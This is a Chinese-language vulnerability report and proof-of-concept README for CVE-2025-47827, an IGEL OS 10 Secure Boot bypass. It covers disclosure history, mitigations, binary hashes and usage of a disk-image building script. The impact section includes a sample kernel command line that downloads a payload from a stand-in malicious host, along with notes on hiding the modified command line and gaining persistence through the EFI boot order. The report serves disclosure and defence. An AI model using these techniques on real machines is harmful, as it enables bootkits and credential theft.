CVE-2025-47827 的 PoC 和漏洞报告。
针对 CVE-2025-47827 的概念验证与漏洞报告。
在 v11 之前的 IGEL OS 中，Secure Boot 可被绕过，原因是 igel-flash-driver 模块未正确验证密码学签名。最终，一个精心构造的根文件系统可以从未经验证的 SquashFS 镜像中挂载。
IGEL OS 10 中 Linux 内核模块 igel-flash-driver 对密码学签名验证不当，允许恶意行为者通过启动由 Microsoft 第三方 UEFI CA 签名的 shim 来绕过 Secure Boot，该 shim 随后加载由 IGEL Secure Boot Signing CA 签名的 GRUB 和有漏洞的内核。一旦有漏洞的内核和嵌入式 initramfs 加载完成，即可从磁盘上未经验证的 SquashFS 镜像挂载恶意的根文件系统。
由于有漏洞的内核中提供了 kexec_load 系统调用，当前已启动的内核可以被完全不可信的内核替换，实际上允许任何操作系统在完整信任链之后启动。
在 IGEL OS 的后续版本中，该模块正确验证了根文件系统 SquashFS 镜像的签名。然而，有漏洞的内核和修补版本均使用同一证书签名，使得同一个 shim 既可以启动有漏洞的版本，也可以启动修补后的版本。
CVE-2025-47827 的初始向量字符串为 AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H，获得 CVSS 评分 8.4（高危）。
2025年10月14日，该向量被更改为 AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H，评分降至 4.6（中危）。
此外，最初的弱点被定义为 CWE-347: 密码学签名验证不当，但 MSRC 已将其指定为 CWE-324: 使用过期密钥。
IGEL 和 Microsoft 分别在 2024 年 12 月 6 日和 2025 年 3 月 31 日被告知此漏洞，详情于 2025 年 5 月 29 日公开。
由于 IGEL OS 10 已不受支持，且该漏洞并不直接存在于 shim 中，双方均未提出解决方案。Microsoft 回复如下：
经过调查，我们确定此提交不符合安全漏洞服务定义，因为 IGEL OS v10 已不再受支持，且问题出在内核模块而非 shim。只有 shim 由 Microsoft 证书签名。
IGEL 于 2025 年 6 月 2 日发布了针对 CVE-2025-47827 的安全公告。
2025 年 6 月 13 日，我再次向 Microsoft 报告此问题，并收到以下回复：
尽管您的报告包含了一些有用的信息，但它不符合 Microsoft 对安全漏洞服务的要求。报告的问题在内核模块而非 shim，且只有 shim 由 Microsoft 证书签名。kexec 从设计上就已经允许绕过 secure boot（参考：kexec Command Line in Linux - Linux Expert Better 2025）。
如果问题出现在引导驱动/组件中，这才符合 MSRC 的服务条件。这是 Linux 发行版内核驱动中的漏洞。它发生在 UEFI "ExitBootServices" 之后，因此不属于 Secure Boot 绕过。用户仅在操作系统层面拥有代码执行权限，而非引导层面。
自有关此漏洞的各类新闻文章发布以来，shim 维护者 与 Microsoft 和 IGEL 进行了联络，商讨解决方案。
在达成解决方案后，我于 2025 年 10 月 20 日在 MSRC 上创建了 另一个 案例，询问撤销这些 shim 延迟的原因、CVSS 向量字符串和 CWE 的修改，以及他们的更新指南为何称该漏洞尚未公开披露。我收到以下回复：
已修复的 IGEL 漏洞并非 Secure Boot 绕过。它是一个特定于 Linux 的内核完整性绕过，不影响 Windows。IGEL shim 已老旧，不支持基于 SBAT 的新撤销机制。因此，Microsoft 发布撤销是为了防范其他已受 SBAT 保护的漏洞可能引发的利用。
Jeffrey Sutherland，首席项目经理，在 PR 中回复 解释由于缺乏 SBAT，shim 必须通过 DBX 撤销，并且 IGEL 请求额外时间以避免意外后果。他们还为未能在研究人员与相关方之间保持沟通表示歉意，这是协调漏洞披露所要求的。
Secure Boot 绕过利用可能导致开发出未被检测到的 bootkit/内核级 rootkit，进而引发多种后果，例如：
如果未进行撤销或手动干预，Secure Boot 在所有信任 Microsoft 第三方 UEFI CA 的机器上都将失效，而截至撰写本文时，这是大多数设备的默认设置。
如果用于 kexec，此漏洞可被利用来静默且恶意地修改合法系统，同时不影响 Secure Boot。
内核可能被完全替换，使恶意代码能够以内核级运行，从而无限制地访问所有系统资源，包括内存、CPU 和连接的设备。
这将允许从内存中转储加密密钥、不受限制地执行恶意进程，并使恶意软件能够逃避检测。
合法内核的命令行可以被修改，以禁用安全模块或更改 init 参数，从而允许在真实根文件系统挂载后执行恶意负载。例如（modprobe、DHCP、chmod，为简洁起见省略）：```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
这可以替换合法的可执行文件，劫持 PID 1 或在启动时自动启动，从而轻松获得 root 权限。
`/proc/cmdline` 可以通过绑定挂载进行[劫持](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline)以隐藏任何修改。
更多信息请参阅 [Linux 文档](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)。
### Persistence
只要所需的 EFI 二进制文件和内核存在并由系统固件配置为启动，影响将持久存在。
操作系统更新可能会导致启动顺序或安全启动禁止签名数据库 (DBX) 发生变化，从而阻止二进制文件执行。但是，如果操作系统也遭到入侵，则此补救措施可能会被撤销。
此外，由于 EFI 启动顺序可由操作系统通过修改 EFI 变量来配置，因此特权恶意软件可以通过安装所需的启动文件并相应地配置启动顺序来获得持久性或进一步提升权限。
## Detection
假设已经创建了一个完美的内核级 rootkit 来利用此漏洞，则有关正在运行的系统的数据将不可信。
检测方法包括：
- 检查相关二进制文件的存在
- 验证已知文件的签名/完整性，例如 [rkhunter](https://rkhunter.sourceforge.net/)
- 行为分析，特别是在网络环境中
至少，系统固件和 IGEL 内核要启动的已签名 EFI 二进制文件必须存在于受入侵的系统上，但是，由于恶意代码执行所处的[级别](https://en.wikipedia.org/wiki/Protection_ring)，[rootkit](https://en.wikipedia.org/wiki/Rootkit) 可以在运行时隐藏自身。
其他入侵指标取决于利用此漏洞的恶意软件的操作。例如，启动的内核可能已被替换，根文件系统上的文件被修改，或意外程序正在运行。
## Mitigation
> [!IMPORTANT]
> Microsoft 在与 IGEL 达成协议后，于 2025 年 10 月 20 日发布了[已签名的 DBX](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed)，撤销了相关 shim 的签名。
>
> 对于 Windows 系统，请参阅
> [MSRC 更新指南](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827)。
>
> 要使用 [fwupd](https://fwupd.org/) 更新基于 Linux 的系统，请将
> [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware)
> 更新至版本 `20250902` 或更高版本。
>
> 更多信息，请参阅 [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272)。
为了防止引导链被入侵，应撤销/不信任用于签署易受攻击的 GRUB/内核映像的证书，或者将受影响内核（或 shim）的 SHA-256 哈希值添加到 DBX 或 MOKX 拒绝列表中。
更多信息请参阅 [NSA 网络安全局的文档](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md)。
或者，为了防止初始 shim 执行，可以取消对 Microsoft 第三方 UEFI CA 的信任，但这可能会对其他合法应用程序造成意外中断。
某些设备在固件设置中提供了此选项。
[sbctl 的 ArchWiki 页面](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys) 警告如下：
> [!WARNING]
> 某些固件在启用安全启动时使用 Microsoft 的密钥进行签名和验证。不验证设备可能导致其变砖。
这是 [安全核心 PC 的默认设置](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot)：
> 安全启动的默认状态具有广泛的信任圈，这可能导致客户信任他们可能不需要的启动组件。由于 Microsoft 第三方 UEFI CA 证书签署了所有 Linux 发行版的引导加载程序，因此在 UEFI 数据库中信任 Microsoft 第三方 UEFI CA 签名会增加系统的攻击面。原本只打算信任并启动单个 Linux 发行版的客户将信任所有发行版——超出了他们期望的配置。任何引导加载程序中的漏洞都会暴露系统，并使客户面临从未打算使用的引导加载程序被利用的风险，如最近在漏洞中看到的，例如 [GRUB 引导加载程序](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) 或影响启动组件的[固件级 rootkit](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit)。
> [安全核心 PC](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11) 要求默认启用安全启动并配置为不信任 Microsoft 第三方 UEFI CA 签名，以向客户提供可能最安全的 PC 配置。
### Measured Boot
如果系统使用 IGEL shim 启动，[TPM PCR 测量值](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers) 将会改变。
Windows 默认使用 BitLocker 的[度量启动](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot)，如果系统未使用预期的二进制文件启动，则加密密钥将不可访问。
在基于 Linux 的系统上，可以使用 [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll) 将 LUKS 密钥注册到 TPM 并将其绑定到各种 PCR（默认为 PCR 7）。
度量启动通过仅在可信环境中释放加密密钥来保护合法操作系统免受修改。但是，它不能阻止未经授权的操作系统启动；这是安全启动的责任。
因此，即使用户的操作系统使用度量启动，用户仍可能面临风险。例如：
- 启动 IGEL shim 和恶意操作系统，同时通过安全启动
- 模拟真实操作系统的外观和行为
- 用户输入凭证，凭证被发送给攻击者
- 可选地，重新启动到合法操作系统
虽然由于加密密钥绑定到 TPM PCR 测量值[^1]，无法使用度量启动修改合法操作系统，但系统仍然可以启动恶意软件。
[^1]: BitLocker 恢复密钥未绑定到 TPM。
### Unified Kernel Image
可以使用[统一内核映像](https://uapi-group.org/specifications/specs/unified_kernel_image/)将所有启动资源（即内核、初始 RAM 磁盘、内核命令行等）捆绑到一个 UEFI PE 文件中。
这些映像可以像任何其他 EFI 可执行文件一样进行签名。
为了提高启动安全性并最大限度地减少启动链的攻击面，请生成统一内核映像并使用用户生成的密钥进行签名，同时不信任任何供应商/OEM 密钥。
## Binaries
### Description
按执行顺序：
- `boot*.efi` -> 由 Microsoft 签名的 shim
- `igel*.efi` -> 由 IGEL 签名的 GRUB
- `bzImage` -> Linux 映像（嵌入式 initramfs），由 IGEL 签名
主题为 `CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE` 的证书可以在 [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der) 中找到。
该证书的 SHA-256 指纹为 `5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`。
这些二进制文件的签名可以使用 `sbverify` (来自 [`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)):```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
sbverify --cert igel-efi-pub-key.pem "${image}"
done
SHA-256 (来自 udc10.06.220.iso):```
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
[`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461) 和 [`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427) 的哈希值已通过 DBX 撤销。
## 概念验证
提供了一个概念验证 Shell 脚本，用于下载 IGEL OS 安装 ISO，提取并创建一个可启动磁盘映像，其中包含修改过的 SquashFS 根文件系统。
或者，除了磁盘映像外，还可以将 ISO 重新打包，并在映像末尾附加一个 EFI 系统分区。也可以使用混合 MBR 来保留对传统 BIOS 系统的支持，但这超出了本项目的范围。安装 ISO 包含一个用于传统系统的 ISOLINUX 引导加载程序，它会链式加载 GRUB 的 `core.img`。
### 覆盖层
提供了示例覆盖层目录，以演示如何通过 HTTP 引导一个 live Arch Linux 环境。
`init` 脚本将使用 `kexec` 加载内核命令行参数中指定的内核，然后重新启动。如果传递的是 `--kexec-syscall` 而不是 `--kexec-file-syscall`，则替换内核无需签名。
GRUB 配置文件存储在 EFI 系统分区上，可以轻松修改。其他文件（如内核、initramfs 或 SquashFS 映像）可以放入 ESP，然后从第一个根文件系统通过 `kexec` 引导进入。这允许在本地链式加载另一个系统，该系统可以作为正常系统更新，而无需每次都重新构建 ISO。
或者，所需文件可以通过 `curl` 通过 HTTP 下载，然后引导，从而减小磁盘映像大小。
这是一个展示如何利用该漏洞的简单示例，但可以修改 `init` 脚本或 `kexec` 内核以演示恶意行为。
### 依赖项
该脚本需要以下软件包：
- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/)（`dd` 及其他所有工具）
- [`dosfstools`](https://github.com/dosfstools/dosfstools)（`mkfs.fat`）
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn)（`osirrox`、`xorriso`）
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools)（`mksquashfs`、`unsquashfs`）
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux)（`fdisk`、`losetup`）
- [`wget`](https://www.gnu.org/software/wget/wget.html)
这些软件包应该可以通过任何发行版的官方软件仓库获得。
`igelfs-cli` 可以在虚拟环境中从 [PyPI](https://pypi.org/project/igelfs/) 安装：```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs
mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
### 示例
构建一个 500 MB 的磁盘映像，将 `esp` 和 `root` 的内容复制到
EFI System Partition 和 SquashFS 分别：```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"
生成的镜像将能启动启用了安全启动（Secure Boot）的机器，该系统信任微软第三方UEFI CA。
原始磁盘镜像可以写入物理设备，或转换为虚拟机使用。
请参阅发布页面获取示例可启动磁盘镜像及相关二进制文件的副本。
该示例包含一个修改过的IGEL OS SquashFS镜像，用于通过HTTPS下载并使用kexec启动Arch Linux。镜像源位于GRUB配置中。
mkdiskimage下载IGEL OS 10 UDC存档，其中包含安装ISOosirrox提取ISO，以获取EFI二进制文件ddimage.bin和bzImageigelfs-cli，从ddimage.bin中提取系统SquashFS，然后使用unsquashfs解压mksquashfs重建SquashFS，并使用igelfs-cli创建新的ddimage.bin，其中SquashFS作为分区#1（sys）xorriso将ddimage.bin添加到ISO镜像中fdisk创建并分区磁盘镜像
ISO仅包含ddimage.bin和boot_id文件提示，而ESP包含EFI二进制文件和GRUB相关的文件。
可以使用buildroot创建根文件系统，以大幅减小文件体积。
bzImage的内核模块将被添加到SquashFS镜像中，以增加对文件系统、网络等的支持，以及其他需求。
一个用于构建根SquashFS的示例defconfig（包含kexec且无init脚本）可在buildroot中找到。使用覆盖目录添加其他文件，例如init脚本，可以通过BR2_ROOTFS_OVERLAY或mkdiskimage实现。
kexec用户空间二进制文件在IGEL OS 10系统分区中默认不可用，因此如果需要，可以将其添加到修补过的SquashFS镜像中。
可以使用staticx将kexec二进制文件及其库依赖项打包，以避免在IGEL OS SquashFS镜像上缺失共享库：```sh
staticx "$(which kexec)" "./root/sbin/kexec"
注意：由于 IGEL initramfs 的 `parse_cmdline` 子串搜索，在内核命令行中 _任何位置_ 指定 `init` 都会被第一个 initramfs 解释，因此无法通过第一个内核参数将 `init` 传递给 `kexec` 内核。
### SSL
如果需要 SSL（例如用于 HTTPS），将 `/etc/ssl/certs/ca-certificates.crt` 添加到 SquashFS 镜像中。
### Requirements
ISO 必须是第一个分区，这使得 EFI 系统分区 (ESP) 非常规地成为分区 #2。这是因为 initramfs `init` 脚本搜索设备的方式。
类似地，安装后，IGEL OS 会在分区 #2 和 #3 处创建两个 ESP。
GRUB 要求 `/boot/igel-ud-converter` 与 `/boot/grub/igel.conf` 位于同一文件系统上：```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
嵌入在 bzImage 中的 initramfs 的 init 脚本需要在 ISO 文件系统上存在一个文件，该文件与内核命令行传递的 boot_id 匹配，并带点前缀（.）。boot_id 必须以 IGEL_UDC_TO 开头，例如 .IGEL_UDC_TO_210319143827。
这些文件可以为空，但必须存在。
SquashFS 还必须有一个 /igfimage 目录用于 initramfs 的 init 脚本，否则切换根目录将会失败。
用户可以有意利用此漏洞在未配置安全启动的情况下启动基于 Linux 的操作系统。
此外，由于完整的 Linux 环境实际上会被用作引导加载程序，因此 init 脚本可以自定义，以比传统引导加载程序更复杂的方式处理下一个内核的加载，例如网络、加密等。另一方面，这也可以被用来隐藏入侵指标，通过在运行时获取资产而不是存储在磁盘上。
已有多个项目为此目的使用 kexec，例如 kexecboot 和 petitboot。
漏洞详情：
缓解措施：
更新审查：
新闻文章：
软件及关联项目：
CVE-2025-47827 采用 MIT 许可 授权，任何人都可以自由使用、修改和分享。
本项目按“原样”分发，不提供任何担保。
[!IMPORTANT] 请负责任地使用此信息。公开此漏洞旨在告知用户并提出可能的缓解措施，以 避免 损害。
做一个好人。
如果您觉得本项目有用，请考虑捐赠。 无论金额多少，我们都深表感谢！谢谢 😃
dd写入）